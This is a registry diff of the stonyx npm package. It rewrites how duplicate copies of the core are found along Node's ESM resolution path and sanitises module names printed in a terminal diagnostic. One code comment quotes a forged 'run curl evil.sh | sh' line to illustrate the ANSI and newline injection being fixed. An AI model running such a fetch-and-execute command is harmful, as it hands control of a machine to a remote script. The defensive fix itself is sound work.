stonyx 0.2.3-alpha.54 → 0.2.3-alpha.56
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/util/duplicate-core.d.ts +96 -46
- package/dist/util/duplicate-core.js +127 -64
- package/package.json +1 -1
|
@@ -27,42 +27,95 @@ export interface ForeignCore {
|
|
|
27
27
|
*/
|
|
28
28
|
export type InconclusiveReporter = (message: string) => void;
|
|
29
29
|
/**
|
|
30
|
-
*
|
|
30
|
+
* The directories ESM consults for a bare specifier, in the order it consults
|
|
31
|
+
* them: `<d>/node_modules` for every ancestor-or-self `d` of `fromDir`.
|
|
31
32
|
*
|
|
32
|
-
*
|
|
33
|
+
* THE RESOLVER BEING MODELLED IS ESM. `loadModules` reaches every module
|
|
34
|
+
* through `await import`, so the copy of `stonyx` a module "would import" is
|
|
35
|
+
* whatever ESM's PACKAGE_RESOLVE finds — not whatever CJS finds. This function
|
|
36
|
+
* is generated rather than filtered, and that is the fix for a defect in each
|
|
37
|
+
* direction.
|
|
38
|
+
*
|
|
39
|
+
* TOO WIDE, the previous defect. The candidates used to come from
|
|
40
|
+
* `require.resolve.paths`, which is the CJS walk FOLLOWED BY the CJS global
|
|
33
41
|
* folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
|
|
34
42
|
* prefix. ESM ignores every one of those, so honouring them invents a
|
|
35
43
|
* "duplicate" out of an ambient environment variable that the real import never
|
|
36
44
|
* consults. This workspace exports `NODE_PATH` at a different `stonyx`
|
|
37
45
|
* (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
|
|
38
|
-
* tree that boots into a hard refusal.
|
|
39
|
-
*
|
|
40
|
-
*
|
|
41
|
-
*
|
|
42
|
-
*
|
|
43
|
-
*
|
|
44
|
-
*
|
|
45
|
-
*
|
|
46
|
-
*
|
|
47
|
-
*
|
|
48
|
-
*
|
|
49
|
-
*
|
|
50
|
-
*
|
|
51
|
-
*
|
|
52
|
-
*
|
|
53
|
-
*
|
|
54
|
-
*
|
|
55
|
-
*
|
|
56
|
-
*
|
|
57
|
-
*
|
|
58
|
-
*
|
|
59
|
-
*
|
|
60
|
-
*
|
|
61
|
-
*
|
|
62
|
-
*
|
|
63
|
-
*
|
|
46
|
+
* tree that boots into a hard refusal. Generating the walk REMOVES that failure
|
|
47
|
+
* mode rather than screening for it — nothing here reads the environment, so
|
|
48
|
+
* there is no list to get the screen wrong on.
|
|
49
|
+
*
|
|
50
|
+
* TOO NARROW, and this one was a SILENT MISS. WHICH CJS ENUMERATION IS MEANT
|
|
51
|
+
* IS PART OF THE CLAIM, because the two are not the same set: the walk PROPER
|
|
52
|
+
* is `Module._nodeModulePaths`, and `require.resolve.paths` is that walk
|
|
53
|
+
* FOLLOWED BY the global folders of the paragraph above. It is the walk proper
|
|
54
|
+
* that never descends into a directory already named `node_modules`. **ESM's
|
|
55
|
+
* PACKAGE_RESOLVE has no such skip.** Measured with no `NODE_PATH` at all,
|
|
56
|
+
* from a module at `<app>/node_modules/@stonyx/x`:
|
|
57
|
+
*
|
|
58
|
+
* import.meta.resolve('stonyx') -> <app>/node_modules/node_modules/stonyx/main.js
|
|
59
|
+
* await import('stonyx') -> that copy
|
|
60
|
+
* require.resolve('stonyx') -> MODULE_NOT_FOUND
|
|
61
|
+
*
|
|
62
|
+
* A genuine second core there was missed silently. Worse, because ESM reaches
|
|
63
|
+
* the ancestor `<app>/node_modules` BEFORE `<app>`, that copy SHADOWS a correct
|
|
64
|
+
* local core at `<app>/node_modules/stonyx` while the pre-flight reported
|
|
65
|
+
* success — this file's own opening paragraph ("it loads, it initialises, it
|
|
66
|
+
* reports success, and its hooks silently never fire") surviving the check
|
|
67
|
+
* written to catch it. Isolating control, moving nothing but the directory: the
|
|
68
|
+
* same core at `<app>/node_modules/@stonyx/x/node_modules/stonyx` was REFUSED.
|
|
69
|
+
*
|
|
70
|
+
* THE SET DELTA, both directions and named per enumeration — node v24.13.0,
|
|
71
|
+
* from that same module dir. Against the WALK PROPER the difference is one
|
|
72
|
+
* directory and it is one-sided: `esm \ Module._nodeModulePaths` = exactly
|
|
73
|
+
* `<app>/node_modules/node_modules` (the miss above), and
|
|
74
|
+
* `Module._nodeModulePaths \ esm` = `[]`. Against `require.resolve.paths` the
|
|
75
|
+
* second direction is NOT empty and never was: `require.resolve.paths \ esm` =
|
|
76
|
+
* the three global folders (measured here: `~/.node_modules`,
|
|
77
|
+
* `~/.node_libraries` and the node prefix, all three absent on disk) PLUS one
|
|
78
|
+
* entry per `NODE_PATH` component, four more as this workspace exports it. That tail IS the "too wide" defect above, measured rather than
|
|
79
|
+
* argued, and it is why an unqualified "the CJS candidates are the same" is
|
|
80
|
+
* true of one enumeration and false of the other.
|
|
81
|
+
*
|
|
82
|
+
* BOUNDED BY ANCESTRY, not by a rule. `<app>/node_modules/node_modules` is a
|
|
83
|
+
* candidate because `<app>/node_modules` is an ancestor of the module dir; two
|
|
84
|
+
* levels of nesting is not a candidate, because
|
|
85
|
+
* `<app>/node_modules/node_modules` is not an ancestor of it. Measured: a core
|
|
86
|
+
* planted two levels deep resolves to the real core, and is correctly ignored.
|
|
87
|
+
*
|
|
88
|
+
* THE REJECTED ALTERNATIVE, and the correction that goes with it. While the
|
|
89
|
+
* candidates still came from `require.resolve.paths`, `Module.globalPaths` was
|
|
90
|
+
* reviewed as the screen instead of a shape test, and rejected here on typing
|
|
91
|
+
* grounds plus the claim that the two "admit the identical set". MEASURED, that
|
|
92
|
+
* claim is FALSE, and false in the direction that matters: `globalPaths` filters
|
|
93
|
+
* by STRING MEMBERSHIP, so whenever `NODE_PATH` names a directory that is also
|
|
94
|
+
* a genuine walk entry, the provenance screen drops the walk entry too. Pointed
|
|
95
|
+
* at `<app>/node_modules` with a real second core inside it:
|
|
96
|
+
*
|
|
97
|
+
* NODE_PATH=<app>/node_modules provenance -> no core found
|
|
98
|
+
* shape -> 0.0.0-APP-LOCAL-SECOND-CORE
|
|
99
|
+
* NODE_PATH unset (control) provenance -> 0.0.0-APP-LOCAL-SECOND-CORE
|
|
100
|
+
* shape -> 0.0.0-APP-LOCAL-SECOND-CORE
|
|
101
|
+
*
|
|
102
|
+
* That is a false NEGATIVE on the commonest tree there is — a second core in
|
|
103
|
+
* the app's own `node_modules` going invisible the moment a developer exports
|
|
104
|
+
* `NODE_PATH` at it. So the rejection was right and the stated reason was not:
|
|
105
|
+
* it is not an equal-but-untyped alternative, it is a narrower one that would
|
|
106
|
+
* have introduced a miss. Generating the walk retires the question entirely —
|
|
107
|
+
* there is no list to screen and no environment read — which is why neither
|
|
108
|
+
* screen survives here.
|
|
109
|
+
*
|
|
110
|
+
* ORDER IS LOAD-BEARING — it is what makes the shadowing case detectable, since
|
|
111
|
+
* the first candidate carrying a core is the one returned. It is Node's own
|
|
112
|
+
* order, verified positionally rather than assumed: a distinct core planted in
|
|
113
|
+
* each of the first four candidates and removed one at a time, `await import`
|
|
114
|
+
* selecting exactly this sequence.
|
|
115
|
+
*
|
|
116
|
+
* `fromDir` must already be realpath'd; `coreSeenBy` does that first.
|
|
64
117
|
*/
|
|
65
|
-
export declare function
|
|
118
|
+
export declare function esmNodeModulesWalk(fromDir: string): string[];
|
|
66
119
|
/**
|
|
67
120
|
* The nearest ancestor of `startDir` that OWNS a `package.json`, reported only
|
|
68
121
|
* if that package is `stonyx`.
|
|
@@ -86,23 +139,20 @@ export declare function runningCore(report?: InconclusiveReporter): CorePackage
|
|
|
86
139
|
/**
|
|
87
140
|
* The `stonyx` copy a package installed at `moduleDir` would import.
|
|
88
141
|
*
|
|
89
|
-
* `
|
|
90
|
-
*
|
|
91
|
-
*
|
|
92
|
-
*
|
|
93
|
-
*
|
|
94
|
-
*
|
|
95
|
-
*
|
|
96
|
-
*
|
|
97
|
-
*
|
|
98
|
-
*
|
|
99
|
-
*
|
|
100
|
-
*
|
|
101
|
-
*
|
|
102
|
-
*
|
|
103
|
-
* `isWalkEntry`. `require.resolve.paths` appends the CJS global folders
|
|
104
|
-
* after the walk and ESM ignores every one of them; see that function for
|
|
105
|
-
* why the predicate is what it is and what the previous one got wrong.
|
|
142
|
+
* The candidate set is `esmNodeModulesWalk` — Node's ESM walk, generated, in
|
|
143
|
+
* Node's order — because ESM is the resolver `loadModules` actually uses. The
|
|
144
|
+
* first candidate that carries a `stonyx` package root wins, which is exactly
|
|
145
|
+
* how PACKAGE_RESOLVE picks. Manifests are read directly rather than through
|
|
146
|
+
* `require.resolve`, so a module whose nested core is present but unbuilt is
|
|
147
|
+
* still detected rather than silently skipped by an `exports` map.
|
|
148
|
+
*
|
|
149
|
+
* ONE deliberate narrowing beyond the walk: `moduleDir` is realpath'd FIRST.
|
|
150
|
+
* Under pnpm, `<app>/node_modules/@stonyx/orm` is a symlink into
|
|
151
|
+
* `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node resolves that
|
|
152
|
+
* symlink before resolving the module's own imports. Walking the symlink path
|
|
153
|
+
* instead reads the app's flat `node_modules` and reports the running core for
|
|
154
|
+
* every module — the check would pass vacuously on exactly the installer
|
|
155
|
+
* `stonyx new` uses.
|
|
106
156
|
*
|
|
107
157
|
* Returns `null` when no copy is reachable at all — "cannot tell", handled as
|
|
108
158
|
* not-a-duplicate by `findForeignCores`. Manifests that exist but will not read
|
|
@@ -21,9 +21,8 @@
|
|
|
21
21
|
* EXACTLY in their own `dependencies`, and an exact pin cannot dedupe against
|
|
22
22
|
* a sibling's different exact pin.
|
|
23
23
|
*/
|
|
24
|
-
import { createRequire } from 'node:module';
|
|
25
24
|
import { readFileSync, realpathSync } from 'node:fs';
|
|
26
|
-
import {
|
|
25
|
+
import { dirname, join } from 'node:path';
|
|
27
26
|
import { fileURLToPath } from 'node:url';
|
|
28
27
|
/** Symlinks resolved so `/tmp/...` and `/private/tmp/...` — and pnpm's
|
|
29
28
|
* `node_modules/x -> .pnpm/x@v/node_modules/x` — compare equal. */
|
|
@@ -37,48 +36,101 @@ function realPath(path) {
|
|
|
37
36
|
}
|
|
38
37
|
const IGNORE = () => { };
|
|
39
38
|
/**
|
|
40
|
-
*
|
|
39
|
+
* The directories ESM consults for a bare specifier, in the order it consults
|
|
40
|
+
* them: `<d>/node_modules` for every ancestor-or-self `d` of `fromDir`.
|
|
41
41
|
*
|
|
42
|
-
*
|
|
42
|
+
* THE RESOLVER BEING MODELLED IS ESM. `loadModules` reaches every module
|
|
43
|
+
* through `await import`, so the copy of `stonyx` a module "would import" is
|
|
44
|
+
* whatever ESM's PACKAGE_RESOLVE finds — not whatever CJS finds. This function
|
|
45
|
+
* is generated rather than filtered, and that is the fix for a defect in each
|
|
46
|
+
* direction.
|
|
47
|
+
*
|
|
48
|
+
* TOO WIDE, the previous defect. The candidates used to come from
|
|
49
|
+
* `require.resolve.paths`, which is the CJS walk FOLLOWED BY the CJS global
|
|
43
50
|
* folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
|
|
44
51
|
* prefix. ESM ignores every one of those, so honouring them invents a
|
|
45
52
|
* "duplicate" out of an ambient environment variable that the real import never
|
|
46
53
|
* consults. This workspace exports `NODE_PATH` at a different `stonyx`
|
|
47
54
|
* (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
|
|
48
|
-
* tree that boots into a hard refusal.
|
|
55
|
+
* tree that boots into a hard refusal. Generating the walk REMOVES that failure
|
|
56
|
+
* mode rather than screening for it — nothing here reads the environment, so
|
|
57
|
+
* there is no list to get the screen wrong on.
|
|
58
|
+
*
|
|
59
|
+
* TOO NARROW, and this one was a SILENT MISS. WHICH CJS ENUMERATION IS MEANT
|
|
60
|
+
* IS PART OF THE CLAIM, because the two are not the same set: the walk PROPER
|
|
61
|
+
* is `Module._nodeModulePaths`, and `require.resolve.paths` is that walk
|
|
62
|
+
* FOLLOWED BY the global folders of the paragraph above. It is the walk proper
|
|
63
|
+
* that never descends into a directory already named `node_modules`. **ESM's
|
|
64
|
+
* PACKAGE_RESOLVE has no such skip.** Measured with no `NODE_PATH` at all,
|
|
65
|
+
* from a module at `<app>/node_modules/@stonyx/x`:
|
|
66
|
+
*
|
|
67
|
+
* import.meta.resolve('stonyx') -> <app>/node_modules/node_modules/stonyx/main.js
|
|
68
|
+
* await import('stonyx') -> that copy
|
|
69
|
+
* require.resolve('stonyx') -> MODULE_NOT_FOUND
|
|
70
|
+
*
|
|
71
|
+
* A genuine second core there was missed silently. Worse, because ESM reaches
|
|
72
|
+
* the ancestor `<app>/node_modules` BEFORE `<app>`, that copy SHADOWS a correct
|
|
73
|
+
* local core at `<app>/node_modules/stonyx` while the pre-flight reported
|
|
74
|
+
* success — this file's own opening paragraph ("it loads, it initialises, it
|
|
75
|
+
* reports success, and its hooks silently never fire") surviving the check
|
|
76
|
+
* written to catch it. Isolating control, moving nothing but the directory: the
|
|
77
|
+
* same core at `<app>/node_modules/@stonyx/x/node_modules/stonyx` was REFUSED.
|
|
78
|
+
*
|
|
79
|
+
* THE SET DELTA, both directions and named per enumeration — node v24.13.0,
|
|
80
|
+
* from that same module dir. Against the WALK PROPER the difference is one
|
|
81
|
+
* directory and it is one-sided: `esm \ Module._nodeModulePaths` = exactly
|
|
82
|
+
* `<app>/node_modules/node_modules` (the miss above), and
|
|
83
|
+
* `Module._nodeModulePaths \ esm` = `[]`. Against `require.resolve.paths` the
|
|
84
|
+
* second direction is NOT empty and never was: `require.resolve.paths \ esm` =
|
|
85
|
+
* the three global folders (measured here: `~/.node_modules`,
|
|
86
|
+
* `~/.node_libraries` and the node prefix, all three absent on disk) PLUS one
|
|
87
|
+
* entry per `NODE_PATH` component, four more as this workspace exports it. That tail IS the "too wide" defect above, measured rather than
|
|
88
|
+
* argued, and it is why an unqualified "the CJS candidates are the same" is
|
|
89
|
+
* true of one enumeration and false of the other.
|
|
90
|
+
*
|
|
91
|
+
* BOUNDED BY ANCESTRY, not by a rule. `<app>/node_modules/node_modules` is a
|
|
92
|
+
* candidate because `<app>/node_modules` is an ancestor of the module dir; two
|
|
93
|
+
* levels of nesting is not a candidate, because
|
|
94
|
+
* `<app>/node_modules/node_modules` is not an ancestor of it. Measured: a core
|
|
95
|
+
* planted two levels deep resolves to the real core, and is correctly ignored.
|
|
96
|
+
*
|
|
97
|
+
* THE REJECTED ALTERNATIVE, and the correction that goes with it. While the
|
|
98
|
+
* candidates still came from `require.resolve.paths`, `Module.globalPaths` was
|
|
99
|
+
* reviewed as the screen instead of a shape test, and rejected here on typing
|
|
100
|
+
* grounds plus the claim that the two "admit the identical set". MEASURED, that
|
|
101
|
+
* claim is FALSE, and false in the direction that matters: `globalPaths` filters
|
|
102
|
+
* by STRING MEMBERSHIP, so whenever `NODE_PATH` names a directory that is also
|
|
103
|
+
* a genuine walk entry, the provenance screen drops the walk entry too. Pointed
|
|
104
|
+
* at `<app>/node_modules` with a real second core inside it:
|
|
49
105
|
*
|
|
50
|
-
*
|
|
51
|
-
*
|
|
52
|
-
*
|
|
53
|
-
*
|
|
54
|
-
* parent is not, and its parent is an ancestor-or-self of the module dir. Any
|
|
55
|
-
* global-folder entry meeting all three is by construction already in the walk,
|
|
56
|
-
* so admitting it changes nothing; every other one is dropped.
|
|
106
|
+
* NODE_PATH=<app>/node_modules provenance -> no core found
|
|
107
|
+
* shape -> 0.0.0-APP-LOCAL-SECOND-CORE
|
|
108
|
+
* NODE_PATH unset (control) provenance -> 0.0.0-APP-LOCAL-SECOND-CORE
|
|
109
|
+
* shape -> 0.0.0-APP-LOCAL-SECOND-CORE
|
|
57
110
|
*
|
|
58
|
-
*
|
|
59
|
-
*
|
|
60
|
-
*
|
|
61
|
-
*
|
|
62
|
-
*
|
|
63
|
-
*
|
|
64
|
-
*
|
|
65
|
-
* Linux, and it reds on macOS the moment `TMPDIR` is realpath-clean.
|
|
111
|
+
* That is a false NEGATIVE on the commonest tree there is — a second core in
|
|
112
|
+
* the app's own `node_modules` going invisible the moment a developer exports
|
|
113
|
+
* `NODE_PATH` at it. So the rejection was right and the stated reason was not:
|
|
114
|
+
* it is not an equal-but-untyped alternative, it is a narrower one that would
|
|
115
|
+
* have introduced a miss. Generating the walk retires the question entirely —
|
|
116
|
+
* there is no list to screen and no environment read — which is why neither
|
|
117
|
+
* screen survives here.
|
|
66
118
|
*
|
|
67
|
-
*
|
|
68
|
-
*
|
|
69
|
-
*
|
|
70
|
-
*
|
|
71
|
-
*
|
|
119
|
+
* ORDER IS LOAD-BEARING — it is what makes the shadowing case detectable, since
|
|
120
|
+
* the first candidate carrying a core is the one returned. It is Node's own
|
|
121
|
+
* order, verified positionally rather than assumed: a distinct core planted in
|
|
122
|
+
* each of the first four candidates and removed one at a time, `await import`
|
|
123
|
+
* selecting exactly this sequence.
|
|
72
124
|
*
|
|
73
|
-
* `
|
|
125
|
+
* `fromDir` must already be realpath'd; `coreSeenBy` does that first.
|
|
74
126
|
*/
|
|
75
|
-
export function
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
127
|
+
export function esmNodeModulesWalk(fromDir) {
|
|
128
|
+
const walk = [];
|
|
129
|
+
for (let dir = fromDir;; dir = dirname(dir)) {
|
|
130
|
+
walk.push(join(dir, 'node_modules'));
|
|
131
|
+
if (dirname(dir) === dir)
|
|
132
|
+
return walk;
|
|
133
|
+
}
|
|
82
134
|
}
|
|
83
135
|
/**
|
|
84
136
|
* `null` when nothing is there — the ordinary case while walking up.
|
|
@@ -149,23 +201,20 @@ export function runningCore(report = IGNORE) {
|
|
|
149
201
|
/**
|
|
150
202
|
* The `stonyx` copy a package installed at `moduleDir` would import.
|
|
151
203
|
*
|
|
152
|
-
* `
|
|
153
|
-
*
|
|
154
|
-
*
|
|
155
|
-
*
|
|
156
|
-
*
|
|
157
|
-
*
|
|
204
|
+
* The candidate set is `esmNodeModulesWalk` — Node's ESM walk, generated, in
|
|
205
|
+
* Node's order — because ESM is the resolver `loadModules` actually uses. The
|
|
206
|
+
* first candidate that carries a `stonyx` package root wins, which is exactly
|
|
207
|
+
* how PACKAGE_RESOLVE picks. Manifests are read directly rather than through
|
|
208
|
+
* `require.resolve`, so a module whose nested core is present but unbuilt is
|
|
209
|
+
* still detected rather than silently skipped by an `exports` map.
|
|
158
210
|
*
|
|
159
|
-
*
|
|
160
|
-
*
|
|
161
|
-
*
|
|
162
|
-
*
|
|
163
|
-
*
|
|
164
|
-
*
|
|
165
|
-
*
|
|
166
|
-
* `isWalkEntry`. `require.resolve.paths` appends the CJS global folders
|
|
167
|
-
* after the walk and ESM ignores every one of them; see that function for
|
|
168
|
-
* why the predicate is what it is and what the previous one got wrong.
|
|
211
|
+
* ONE deliberate narrowing beyond the walk: `moduleDir` is realpath'd FIRST.
|
|
212
|
+
* Under pnpm, `<app>/node_modules/@stonyx/orm` is a symlink into
|
|
213
|
+
* `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node resolves that
|
|
214
|
+
* symlink before resolving the module's own imports. Walking the symlink path
|
|
215
|
+
* instead reads the app's flat `node_modules` and reports the running core for
|
|
216
|
+
* every module — the check would pass vacuously on exactly the installer
|
|
217
|
+
* `stonyx new` uses.
|
|
169
218
|
*
|
|
170
219
|
* Returns `null` when no copy is reachable at all — "cannot tell", handled as
|
|
171
220
|
* not-a-duplicate by `findForeignCores`. Manifests that exist but will not read
|
|
@@ -173,10 +222,7 @@ export function runningCore(report = IGNORE) {
|
|
|
173
222
|
*/
|
|
174
223
|
export function coreSeenBy(moduleDir, report = IGNORE) {
|
|
175
224
|
const resolvedModuleDir = realPath(moduleDir);
|
|
176
|
-
const
|
|
177
|
-
for (const nodeModulesDir of candidates) {
|
|
178
|
-
if (!isWalkEntry(nodeModulesDir, resolvedModuleDir))
|
|
179
|
-
continue;
|
|
225
|
+
for (const nodeModulesDir of esmNodeModulesWalk(resolvedModuleDir)) {
|
|
180
226
|
const core = asCore(join(nodeModulesDir, 'stonyx'), report);
|
|
181
227
|
if (core)
|
|
182
228
|
return core;
|
|
@@ -216,13 +262,22 @@ export function findForeignCores(modules, core = undefined, report = IGNORE) {
|
|
|
216
262
|
return foreign;
|
|
217
263
|
}
|
|
218
264
|
/**
|
|
219
|
-
*
|
|
265
|
+
* NOTHING OFF DISK IS TRUSTED FOR DISPLAY — all three interpolated fields.
|
|
266
|
+
*
|
|
267
|
+
* `version` and the package root come from a manifest this app did not write.
|
|
268
|
+
* `moduleName` is narrower — it is a key from the app's own `devDependencies`,
|
|
269
|
+
* so forging it is an app author forging their own diagnostic — but it is
|
|
270
|
+
* rendered through the same `padEnd` table, and it caused the same two
|
|
271
|
+
* symptoms: seeded with ANSI escapes and embedded newlines it FORGED A
|
|
272
|
+
* COMPLETE TABLE ROW inside the diagnostic (`===> ALERT: run curl evil.sh |
|
|
273
|
+
* sh <===`, indented to match) and destroyed the column alignment, because the
|
|
274
|
+
* widths are computed from the raw multi-line label.
|
|
275
|
+
*
|
|
276
|
+
* It was left raw at three sites while its two neighbours were sanitised — the
|
|
277
|
+
* package ROOT derived from that same name is sanitised in the very same row.
|
|
278
|
+
* Two halves of one string treated differently is an oversight, not a
|
|
279
|
+
* judgement, so it is closed rather than argued down.
|
|
220
280
|
*
|
|
221
|
-
* `version` and the directory name both come off disk from a package this app
|
|
222
|
-
* did not write, and both are echoed into a message a human reads in a
|
|
223
|
-
* terminal. Seeded with ANSI escapes and embedded newlines, the raw value
|
|
224
|
-
* FORGED ITS OWN LINES inside the diagnostic — `===> ALERT: run curl evil.sh |
|
|
225
|
-
* sh <===`, indented to match — and destroyed the `padEnd` column alignment.
|
|
226
281
|
* This renders BEFORE any module entry point is imported, so it is reachable
|
|
227
282
|
* under `npm install --ignore-scripts`: the one mode in which no third-party
|
|
228
283
|
* code has otherwise executed.
|
|
@@ -231,11 +286,19 @@ export function findForeignCores(modules, core = undefined, report = IGNORE) {
|
|
|
231
286
|
* the message off screen either.
|
|
232
287
|
*/
|
|
233
288
|
/**
|
|
234
|
-
* Roots are clamped at `PATH_MAX` rather than at the
|
|
235
|
-
*
|
|
236
|
-
*
|
|
289
|
+
* Roots are clamped at `PATH_MAX` rather than at the default 64. A root is the
|
|
290
|
+
* one thing in this message a consumer acts on directly, and a truncated path
|
|
291
|
+
* is worse than a long one — the version is a label, the path is an
|
|
237
292
|
* instruction. Nothing longer than this can exist on the filesystems Node runs
|
|
238
293
|
* on, so in practice a root is sanitised and never shortened.
|
|
294
|
+
*
|
|
295
|
+
* WHAT DECIDES THE LIMIT IS THE COLUMN, not the field's importance. The root is
|
|
296
|
+
* rendered LAST on its line and is never `padEnd`ed, so its length costs
|
|
297
|
+
* nothing but its own wrap. The module name and the version are both inside
|
|
298
|
+
* PADDED columns whose widths are the max over every row, so one long value
|
|
299
|
+
* there pushes every other row's remaining columns off screen. Those two take
|
|
300
|
+
* the tight default; a scoped `@stonyx/*` devDependency key is far short of it,
|
|
301
|
+
* so a real name is sanitised and never shortened either.
|
|
239
302
|
*/
|
|
240
303
|
const PATH_LIMIT = 1024;
|
|
241
304
|
function display(value, limit = 64) {
|
|
@@ -256,7 +319,7 @@ export function duplicateCoreMessage(foreign) {
|
|
|
256
319
|
const [first] = foreign;
|
|
257
320
|
if (!first)
|
|
258
321
|
throw new Error('duplicateCoreMessage called with no foreign cores');
|
|
259
|
-
const names = foreign.map(({ moduleName }) => `"${moduleName}"`).join(', ');
|
|
322
|
+
const names = foreign.map(({ moduleName }) => `"${display(moduleName)}"`).join(', ');
|
|
260
323
|
const single = foreign.length === 1;
|
|
261
324
|
// DISTINCT roots, not `foreign.length + 1`. Two modules that both resolve
|
|
262
325
|
// the SAME nested copy are two rows and two copies, not three. Found by
|
|
@@ -267,7 +330,7 @@ export function duplicateCoreMessage(foreign) {
|
|
|
267
330
|
const copies = new Set([first.runningCore.root, ...foreign.map(({ moduleCore }) => moduleCore.root)]).size;
|
|
268
331
|
const rows = [
|
|
269
332
|
['running core', display(first.runningCore.version), display(first.runningCore.root, PATH_LIMIT)],
|
|
270
|
-
...foreign.map(({ moduleName, moduleCore }) => [`seen by "${moduleName}"`, display(moduleCore.version), display(moduleCore.root, PATH_LIMIT)]),
|
|
333
|
+
...foreign.map(({ moduleName, moduleCore }) => [`seen by "${display(moduleName)}"`, display(moduleCore.version), display(moduleCore.root, PATH_LIMIT)]),
|
|
271
334
|
];
|
|
272
335
|
const labelWidth = Math.max(...rows.map(([label]) => label.length));
|
|
273
336
|
const versionWidth = Math.max(...rows.map(([, version]) => version.length));
|